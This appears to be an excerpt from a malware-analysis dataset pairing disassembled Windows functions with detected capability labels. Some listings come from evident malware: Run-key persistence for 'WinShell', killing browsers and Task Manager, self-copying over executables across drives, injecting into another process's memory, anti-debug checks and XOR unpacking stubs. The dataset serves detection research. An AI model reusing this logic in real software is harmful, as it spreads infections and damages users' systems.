joyce8/EMBER2024-capa huggingface dataset:
Function at 0x58c7e4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffa4
mov ebx, eax
mov eax, ebx
xor ecx, ecx
mov edx, 0x10
call fcn.00403698
lea eax, [esp + 0x24]
push eax
call sub.kernel32.dll_GetSystemInfo
call sub.user32.dll_GetDesktopWindow
test eax, eax
je 0x58c9e1
push 0
push 0x58c9ec
push 0
push eax
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x58c9e1
push 0
push 0x58c9fc
push 0
push eax
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x58c9e1
push 0
push 0x58ca0c
push 0
push eax
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x58c9e1
push 0
push 0x58ca1c
push 0
push eax
call sub.user32.dll_FindWindowExA
mov ebp, eax
test ebp, ebp
je 0x58c9e1
push 0
push 0
push 0x418
push ebp
call sub.user32.dll_SendMessageA
mov dword [esp + 4], eax
cmp dword [esp + 4], 0
jle 0x58c9e1
xor eax, eax
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
push ebp
call sub.user32.dll_GetWindowThreadProcessId
cmp dword [esp + 8], 0
je 0x58c9e1
mov eax, dword [esp + 8]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov esi, eax
test esi, esi
je 0x58c9e1
push 0x40
push 0x1000
push 0x1000
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov dword [esp + 0xc], eax
cmp dword [esp + 0xc], 0
je 0x58c9e1
or edi, 0xffffffff
cmp edi, dword [esp + 4]
jge 0x58c9c9
inc edi
mov eax, dword [esp + 0xc]
push eax
push edi
push 0x417
push ebp
call sub.user32.dll_SendMessageA
test eax, eax
je 0x58c9bf
lea eax, [esp + 0x10]
push eax
push 0x18
lea eax, [esp + 0x50]
push eax
mov eax, dword [esp + 0x18]
push eax
push esi
call sub.kernel32.dll_ReadProcessMemory
test eax, eax
je 0x58c9bf
test byte [esp + 0x51], 0xd
jne 0x58c9bf
mov al, byte [esp + 0x50]
and al, 8
cmp al, 8
je 0x58c9bf
lea eax, [esp + 0x10]
push eax
push 4
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0x60]
push eax
push esi
call sub.kernel32.dll_ReadProcessMemory
test eax, eax
je 0x58c9bf
cmp dword [esp + 0x10], 0
je 0x58c9bf
mov eax, dword [0x59eb58]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
cmp eax, dword [esp]
jne 0x58c9bf
mov eax, dword [esp + 0xc]
push eax
push edi
push 0x41d
push ebp
call sub.user32.dll_SendMessageA
test eax, eax
je 0x58c99c
lea eax, [esp + 0x10]
push eax
push 0x10
push ebx
mov eax, dword [esp + 0x18]
push eax
push esi
call sub.kernel32.dll_ReadProcessMemory
cmp dword [esp + 0x10], 0
je 0x58c9c9
lea eax, [esp + 0x14]
push eax
push ebp
call sub.user32.dll_GetWindowRect
mov eax, ebx
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
call fcn.00407144
jmp 0x58c9c9
cmp edi, dword [esp + 4]
jl 0x58c8f5
push 0x8000
push 0
mov eax, dword [esp + 0x14]
push eax
push esi
call sub.kernel32.dll_VirtualFreeEx
push esi
call sub.kernel32.dll_CloseHandle_1
add esp, 0x5c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x401290
Capabilities:
Copy file
Create directory
Create process on windows
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
and esp, 0xfffffff0
mov eax, 0
add eax, 0xf
add eax, 0xf
shr eax, 4
shl eax, 4
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x12c]
call fcn.00401b70
call sym.___main
mov eax, dword [section..rdata]
mov dword [ebp - 0x118], eax
lea edx, [ebp - 0x114]
mov eax, 0x100
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], edx
call sym._memset
mov dword [ebp - 0x11c], 0x41
mov dword [esp + 4], 0
mov dword [esp], str.REG_ADD_HKCUSoftwareMicrosoftWindowsCurrentVersionRun__v_WinShell__t_REG_SZ__d_C:WinShellWinSeven.exe__f
call sub.KERNEL32.dll_WinExec
sub esp, 8
mov dword [esp], str.C:WinShell
call sym._mkdir
mov dword [esp + 8], 0
mov dword [esp + 4], str.C:WinShellWinSeven.exe
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [esp], eax
call sub.KERNEL32.dll_CopyFileA
sub esp, 0xc
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [esp + 4], eax
mov dword [esp], str.C:WinShellWinSeven.exe
call sym._strcmp
test eax, eax
je 0x401379
mov dword [esp + 4], 0
mov dword [esp], str.C:WinShellWinSeven.exe
call sub.KERNEL32.dll_WinExec
sub esp, 8
mov dword [ebp - 0x120], 0
jmp 0x40141d
mov dword [esp], str.iexplore.exe
call sym.KillProcessByName_char_
mov dword [esp], str.IEXPLORE.EXE
call sym.KillProcessByName_char_
mov dword [esp], str.firefox.exe
call sym.KillProcessByName_char_
mov dword [esp], str.notepad.exe
call sym.KillProcessByName_char_
mov dword [esp], str.regedit.exe
call sym.KillProcessByName_char_
mov dword [esp], str.POWERPNT.EXE
call sym.KillProcessByName_char_
mov dword [esp], str.WINWORD.EXE
call sym.KillProcessByName_char_
mov eax, dword [ebp - 0x11c]
mov byte [ebp - 0x118], al
lea eax, [ebp - 0x11c]
inc dword [eax]
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym.isDrive_char_const_
test eax, eax
je 0x401401
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym.DirectorySearch_char_
cmp dword [ebp - 0x11c], 0x5a
jne 0x401379
mov dword [ebp - 0x11c], 0x3c
jmp 0x401379
mov eax, dword [ebp - 0x120]
leave
ret

Function at 0x401426
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_GetDriveTypeA
sub esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 2
jne 0x40144c
mov dword [ebp - 8], 1
jmp 0x401462
cmp dword [ebp - 4], 3
jne 0x40145b
mov dword [ebp - 8], 0
jmp 0x401462
mov dword [ebp - 8], 0
mov eax, dword [ebp - 8]
leave
ret
Function at 0x401468
Capabilities:
Copy file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x498
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x268]
mov dword [esp], eax
call sym._strcpy
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x378]
mov dword [esp], eax
call sym._strcpy
mov dword [esp + 4], str..
lea eax, [ebp - 0x378]
mov dword [esp], eax
call sym._strcat
lea eax, [ebp - 0x158]
mov dword [esp + 4], eax
lea eax, [ebp - 0x378]
mov dword [esp], eax
call sub.KERNEL32.dll_FindFirstFileA
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x40160d
cmp byte [ebp - 0x12c], 0x2e
je 0x4015dd
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x268]
mov dword [esp], eax
call sym._strcpy
mov dword [esp + 4], 0x4031f5
lea eax, [ebp - 0x268]
mov dword [esp], eax
call sym._strcat
lea eax, [ebp - 0x158]
add eax, 0x2c
mov dword [esp + 4], eax
lea eax, [ebp - 0x268]
mov dword [esp], eax
call sym._strcat
mov eax, dword [ebp - 0x158]
shr eax, 4
and eax, 1
test al, al
je 0x4015dd
lea eax, [ebp - 0x268]
mov dword [esp + 4], eax
lea eax, [ebp - 0x488]
mov dword [esp], eax
call sym._strcpy
mov dword [esp + 4], 0x4031f5
lea eax, [ebp - 0x488]
mov dword [esp], eax
call sym._strcat
lea eax, [ebp - 0x158]
add eax, 0x2c
mov dword [esp + 4], eax
lea eax, [ebp - 0x488]
mov dword [esp], eax
call sym._strcat
mov dword [esp + 4], str..exe
lea eax, [ebp - 0x488]
mov dword [esp], eax
call sym._strcat
mov dword [esp + 8], 0
lea eax, [ebp - 0x488]
mov dword [esp + 4], eax
mov eax, dword [section..bss]
mov eax, dword [eax]
mov dword [esp], eax
call sub.KERNEL32.dll_CopyFileA
sub esp, 0xc
mov dword [esp], str.taskmgr.exe
call sym.KillProcessByName_char_
lea eax, [ebp - 0x268]
mov dword [esp], eax
call sym.DirectorySearch_char_
lea eax, [ebp - 0x158]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_FindNextFileA
sub esp, 8
cmp eax, 1
jne 0x4015ff
jmp 0x4014d9
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_FindClose
sub esp, 4
leave
ret
Function at 0x401610
Capabilities:
Enumerate processes
Terminate process
Terminate process by name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov dword [esp + 4], 0
mov dword [esp], 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401648
mov dword [ebp - 0x150], 0
jmp 0x401728
mov dword [ebp - 0x148], 0x128
lea eax, [ebp - 0x148]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32First
sub esp, 8
test eax, eax
jne 0x40168b
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [ebp - 0x150], 0
jmp 0x401728
lea eax, [ebp - 0x148]
lea edx, [eax + 0x24]
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcmp
test eax, eax
jne 0x4016ef
mov eax, dword [ebp - 0x140]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 1
call sub.KERNEL32.dll_OpenProcess
sub esp, 0xc
mov dword [ebp - 0x10], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_TerminateProcess
sub esp, 8
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
lea eax, [ebp - 0x148]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32Next
sub esp, 8
test eax, eax
je 0x401710
jmp 0x40168b
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [ebp - 0x150], 1
mov eax, dword [ebp - 0x150]
leave
ret

Function at 0x401e10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp sym.___do_sjlj_init
Function at 0x410c70
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x4025e6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x70
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x14], 0x401f20
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov dword [ebp - 4], 2
push 0xffffffffffffffff
call dword [sym.imp.MSVBVM60.DLL___vbaOnError]
mov dword [ebp - 4], 3
call fcn.00404fd8
mov dword [ebp - 0x6c], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
lea eax, [ebp - 0x64]
push eax
push 0x28
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.00405038
mov dword [ebp - 0x70], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
xor edx, edx
cmp dword [ebp - 0x70], 0
setne dl
neg edx
movsx eax, dx
test eax, eax
je 0x410e25
mov dword [ebp - 4], 4
xor ecx, ecx
test ecx, ecx
je 0x410d46
mov dword [ebp - 4], 6
mov dword [ebp - 0x6c], 0x1c
lea edx, [ebp - 0x6c]
push edx
lea eax, [ebp - 0x3c]
push eax
push 0x1c
lea ecx, [ebp - 0x60]
push ecx
push 0
mov edx, dword [ebp - 0x64]
push edx
call fcn.00405088
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
jmp 0x410e25
mov dword [ebp - 4], 9
lea eax, [ebp - 0x44]
push eax
push 0x404ae4
lea ecx, [ebp - 0x68]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 0
call fcn.004050e8
mov dword [ebp - 0x6c], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
xor edx, edx
cmp dword [ebp - 0x6c], 0
setne dl
neg edx
mov word [ebp - 0x74], dx
lea ecx, [ebp - 0x68]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
movsx eax, word [ebp - 0x74]
test eax, eax
je 0x410e25
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x60], 1
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x74], 0
cmp dword [ebp - 0x74], 2
jae 0x410dc3
mov dword [ebp - 0x8c], 0
jmp 0x410dcf
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
mov dword [ebp - 0x8c], eax
lea ecx, [ebp - 0x44]
push ecx
mov edx, dword [ebp - 0x74]
imul edx, edx, 0xc
lea eax, [ebp + edx - 0x5c]
push eax
push 8
call dword [sym.imp.MSVBVM60.DLL___vbaCopyBytes]
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x74], 0
cmp dword [ebp - 0x74], 2
jae 0x410e06
mov dword [ebp - 0x90], 0
jmp 0x410e12
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0x74]
imul ecx, ecx, 0xc
mov dword [ebp + ecx - 0x54], 2
jmp 0x410d14
mov dword [ebp - 4], 0x11
mov edx, dword [ebp - 0x64]
push edx
call fcn.00404e50
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
push 0x410e4d
jmp 0x410e4c
ret

Function at 0x40c006
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xcbf
mov ebx, edx
xor word [eax], dx
lea edx, [ebx + edx]
xchg dh, dl
lea eax, [eax + 2]
loop 0x40c00e
pop ebx
ret
Function at 0x43b63b
Capabilities:
Encode data using xor

Disassembly:
push 0x43b3c1
pop ecx
push edx
pop edx
call fcn.0043b677
inc edx
add edx, 0x3867f21b
xor dword [eax], ecx
mov edx, edx
and edi, edx
inc eax
add edi, edi
add edx, 0x3b8ec726
cmp eax, ebx
jne fcn.0043b63b
add edx, 0x9185385f
dec edx
ret
Function at 0x401000
Capabilities:
Check for peb beingdebugged flag
Encode data using xor

Disassembly:
mov eax, dword fs:[0x30]
mov al, byte [eax + 2]
test al, al
je 0x401027
mov byte [0x402044], 1
push eax
xor eax, eax
pop eax
test eax, eax
jne 0x40101e
jmp 0x401037
mov ebx, 0xdeadbeef
test ebx, ebx
jne 0x401027
mov ecx, 0x12
mov esi, section..data
mov edi, 0x40200e
push ecx
xor byte [esi], 0x5a
xor byte [edi], 0x36
inc esi
inc edi
add ecx, esi
sub ecx, edi
loop 0x401037
mov eax, 6
add eax, 9
cmp eax, 0xf
jne 0x401054
jmp 0x401068
xor eax, eax
mov eax, 0xbadcafe
push 0xdeadc0de
pop eax
cmp eax, 0xdeadc0de
jne 0x40106f
mov ecx, 4
xor ebx, ebx
mov eax, ecx
shl eax, 1
add eax, 0x14
cmp eax, 0x28
jl 0x40107e
jg 0x40107e
nop
mov eax, 0x40108d
add eax, ecx
add eax, dword [0x402045]
jmp eax
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x1ba24da0
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
mov ebx, 0x42e3d0
nop
mov ecx, 0x216b368d
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x100023d0
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi]
mov edx, dword [esi + 4]
and dword [ebp + 8], 0
push edi
mov edi, dword [eax + 4]
mov dword [ebp - 0xc], edi
mov edi, dword [eax]
mov dword [ebp - 8], edi
mov edi, dword [eax + 0xc]
mov eax, dword [eax + 8]
mov dword [ebp - 4], 0x20
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], eax
sub dword [ebp + 8], 0x61c88647
dec dword [ebp - 4]
mov eax, edx
shl eax, 4
add eax, dword [ebp - 8]
mov edi, edx
shr edi, 5
add edi, dword [ebp - 0xc]
xor eax, edi
mov edi, dword [ebp + 8]
add edi, edx
xor eax, edi
add ecx, eax
mov eax, ecx
shl eax, 4
add eax, dword [ebp - 0x10]
mov edi, ecx
shr edi, 5
add edi, dword [ebp - 0x14]
xor eax, edi
mov edi, dword [ebp + 8]
add edi, ecx
xor eax, edi
add edx, eax
cmp dword [ebp - 4], 0
ja 0x10002405
pop edi
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
leave
ret

Function at 0x1000268d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push ebx
push esi
mov esi, dword [ebp + 0x10]
xor edx, edx
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x130]
mov dword [esi + 4], edx
mov dword [esi], edx
sub eax, edi
mov ebx, 0x12c
mov cl, byte [edi]
test cl, cl
je 0x100026c2
inc edx
mov byte [eax + edi], cl
inc edi
cmp edx, ebx
jb 0x100026b3
lea eax, [ebp - 0x130]
push eax
mov byte [ebp + edx - 0x130], 0
call fcn.100025c2
mov edi, eax
pop ecx
test edi, edi
je 0x10002774
mov edx, dword [ebp + 0xc]
cmp byte [edx], 0
je 0x1000272e
mov byte [ebp + edi - 0x130], 0x2a
inc edi
mov eax, edi
cmp edi, ebx
jae 0x1000270b
mov cl, byte [edx]
test cl, cl
je 0x1000270b
mov byte [ebp + eax - 0x130], cl
inc eax
inc edx
cmp eax, ebx
jb 0x100026f8
mov byte [ebp + eax - 0x130], 0
lea eax, [ebp + edi - 0x130]
push eax
call fcn.100025c2
pop ecx
add edi, eax
jmp 0x1000272e
mov byte [ebp + edi - 0x130], 0
inc edi
mov eax, edi
and eax, 0x80000007
jns 0x1000273c
dec eax
or eax, 0xfffffff8
inc eax
jne 0x10002725
mov eax, edi
cdq
and edx, 7
add eax, edx
mov edi, eax
sar edi, 3
xor ebx, ebx
test edi, edi
jle 0x10002774
mov eax, dword [ebp + ebx*8 - 0x130]
xor dword [esi], eax
push dword [ebp + 0x14]
mov eax, dword [ebp + ebx*8 - 0x12c]
xor dword [esi + 4], eax
push esi
call fcn.10002498
inc ebx
cmp ebx, edi
pop ecx
pop ecx
jl 0x10002751
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x10010deb
Capabilities:
Hash data with md5

Disassembly:
xor edx, edx
push 0x40
lea eax, [ecx + 0x18]
push edx
push eax
mov dword [ecx + 0x14], edx
mov dword [ecx + 0x10], edx
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
call fcn.10028750
add esp, 0xc
ret
Function at 0x10011507
Capabilities:
Hash data using sha1

Disassembly:
xor eax, eax
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x18], eax
mov dword [ecx + 0x1c], eax
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
mov dword [ecx + 0x10], 0xc3d2e1f0
mov dword [ecx + 0x60], eax
mov dword [ecx + 0x64], eax
ret

Function at 0x100116f5
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0x1c]
mov byte [eax + esi + 0x20], 0x80
inc dword [esi + 0x1c]
cmp eax, 0x37
mov eax, dword [esi + 0x1c]
jle 0x10011742
jmp 0x10011718
mov byte [eax + esi + 0x20], 0
inc dword [esi + 0x1c]
mov eax, dword [esi + 0x1c]
cmp eax, 0x40
jl 0x1001170d
call fcn.1001153b
jmp 0x1001172f
mov eax, dword [esi + 0x1c]
mov byte [esi + eax + 0x20], 0
inc dword [esi + 0x1c]
cmp dword [esi + 0x1c], 0x38
jl 0x10011724
jmp 0x10011747
mov byte [eax + esi + 0x20], 0
inc dword [esi + 0x1c]
mov eax, dword [esi + 0x1c]
cmp eax, 0x38
jl 0x10011737
mov eax, dword [esi + 0x18]
mov ecx, eax
shr ecx, 0x18
mov byte [esi + 0x58], cl
mov ecx, eax
shr eax, 8
mov byte [esi + 0x5a], al
mov al, byte [esi + 0x18]
shr ecx, 0x10
mov byte [esi + 0x59], cl
mov byte [esi + 0x5b], al
mov eax, dword [esi + 0x14]
mov ecx, eax
shr ecx, 0x18
mov byte [esi + 0x5c], cl
mov ecx, eax
shr ecx, 0x10
shr eax, 8
mov byte [esi + 0x5e], al
mov al, byte [esi + 0x14]
mov byte [esi + 0x5d], cl
mov byte [esi + 0x5f], al
mov ecx, esi
pop esi
jmp fcn.1001153b

Function at 0x1001178d
Capabilities:
Hash data with md5

Disassembly:
xor eax, eax
mov dword [ecx + 0x90], eax
mov dword [ecx + 0x98], eax
mov dword [ecx + 0x9c], eax
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
ret
Function at 0x10014840
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 8]
mov byte [ebp - 0xc], 0x30
mov byte [ebp - 0xb], 0x31
mov byte [ebp - 0xa], 0x32
mov byte [ebp - 9], 0x33
mov byte [ebp - 8], 0x34
mov byte [ebp - 7], 0x35
mov byte [ebp - 6], 0x36
mov byte [ebp - 5], 0x37
mov byte [ebp - 4], 0x38
mov byte [ebp - 3], 0x39
mov esi, edi
test eax, eax
jg 0x100148a2
jl 0x10014886
test ebx, ebx
jae 0x100148a2
neg ebx
adc eax, 0
mov dword [ebp + 8], 1
neg eax
mov ecx, ebx
or ecx, eax
jne 0x100148a8
mov byte [edi], 0x30
lea esi, [edi + 1]
jmp 0x100148c7
and dword [ebp + 8], 0
jmp 0x10014894
push 0
push 0xa
push eax
push ebx
call fcn.1002aae0
mov cl, byte [ebp + ecx - 0xc]
mov dword [ebp + 0x14], ebx
mov ebx, eax
mov byte [esi], cl
mov eax, edx
mov ecx, ebx
inc esi
or ecx, eax
jne 0x100148a8
cmp dword [ebp + 8], 0
je 0x100148d1
mov byte [esi], 0x2d
inc esi
mov byte [esi], 0
mov eax, edi
mov cl, byte [eax]
dec esi
mov dl, byte [esi]
mov byte [eax], dl
inc eax
mov byte [esi], cl
cmp esi, eax
ja 0x100148d6
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x42f8de
Capabilities:
Encode data using xor

Disassembly:
or cl, byte [0xfcfcbc0f]
fidiv dword [eax + eax*8]
push cs
cmp bh, byte [0xe27442a8]
das
nop
xlatb
sbb dword [edx], edx
adc bh, byte [edx]
ror ecx, 0x7f
inc eax
std
mov dl, 0xff
in al, 0xdc
xor ch, byte [edi + edi*2]
invalid

Function at 0x4bbc8d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c23b8
cmp edx, dword [eax]
je 0x4bbcaf
add eax, 8
inc ecx
cmp eax, 0x4c2448
jl 0x4bbca0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c23b8]
jne 0x4bbddd
mov eax, dword [0x4c7dc0]
cmp eax, 1
je 0x4bbdb7
test eax, eax
jne 0x4bbce0
cmp dword [0x4c22e4], 1
je 0x4bbdb7
cmp edx, 0xfc
je 0x4bbddd
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bbd17
lea eax, [ebp - 0x1a4]
push 0x4c0500
push eax
call fcn.004bc670
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bcb00
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bbd5a
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bcb00
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c04fc
push edi
call fcn.004be9d0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4c04e0
push eax
call fcn.004bc670
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bc680
lea eax, [ebp - 0xa0]
push 0x4c04dc
push eax
call fcn.004bc680
push dword [esi + 0x4c23bc]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bc680
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4c04b4
push eax
call fcn.004be944
add esp, 0x2c
pop edi
jmp 0x4bbddd
lea eax, [ebp + 8]
lea esi, [esi + 0x4c23bc]
push 0
push eax
push dword [esi]
call fcn.004bcb00
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x42d650
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [0x499e2c]
push ebx
mov ebx, dword [esp + 0x1c]
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
xor edi, edi
test eax, eax
je 0x42d69d
mov eax, dword [esp + 0x30]
test eax, eax
je 0x42d70c
test ebx, ebx
je 0x42d685
cmp eax, 0xfffffffa
jne 0x42d685
mov edi, 1
mov esi, ebp
jmp 0x42d6a1
cmp eax, 1
je 0x42d68f
cmp eax, 2
jne 0x42d69d
mov edi, 1
call fcn.0045f9b0
mov esi, eax
jmp 0x42d6a1
mov esi, dword [esp + 0x1c]
mov eax, dword [0x499e2c]
test eax, eax
je 0x42d6c8
test ebx, ebx
je 0x42d6c8
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x42d6c8
push esi
call fcn.0045fa00
add esp, 4
push esi
call fcn.0045faf0
add esp, 4
test edi, edi
je 0x42d6ed
mov eax, dword [esp + 0x18]
push 0
push esi
mov esi, dword [esp + 0x24]
push esi
push eax
call fcn.0045fa40
add esp, 0x10
cmp eax, esi
je 0x42d70f
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x1c]
push edx
push eax
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x42d70f
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret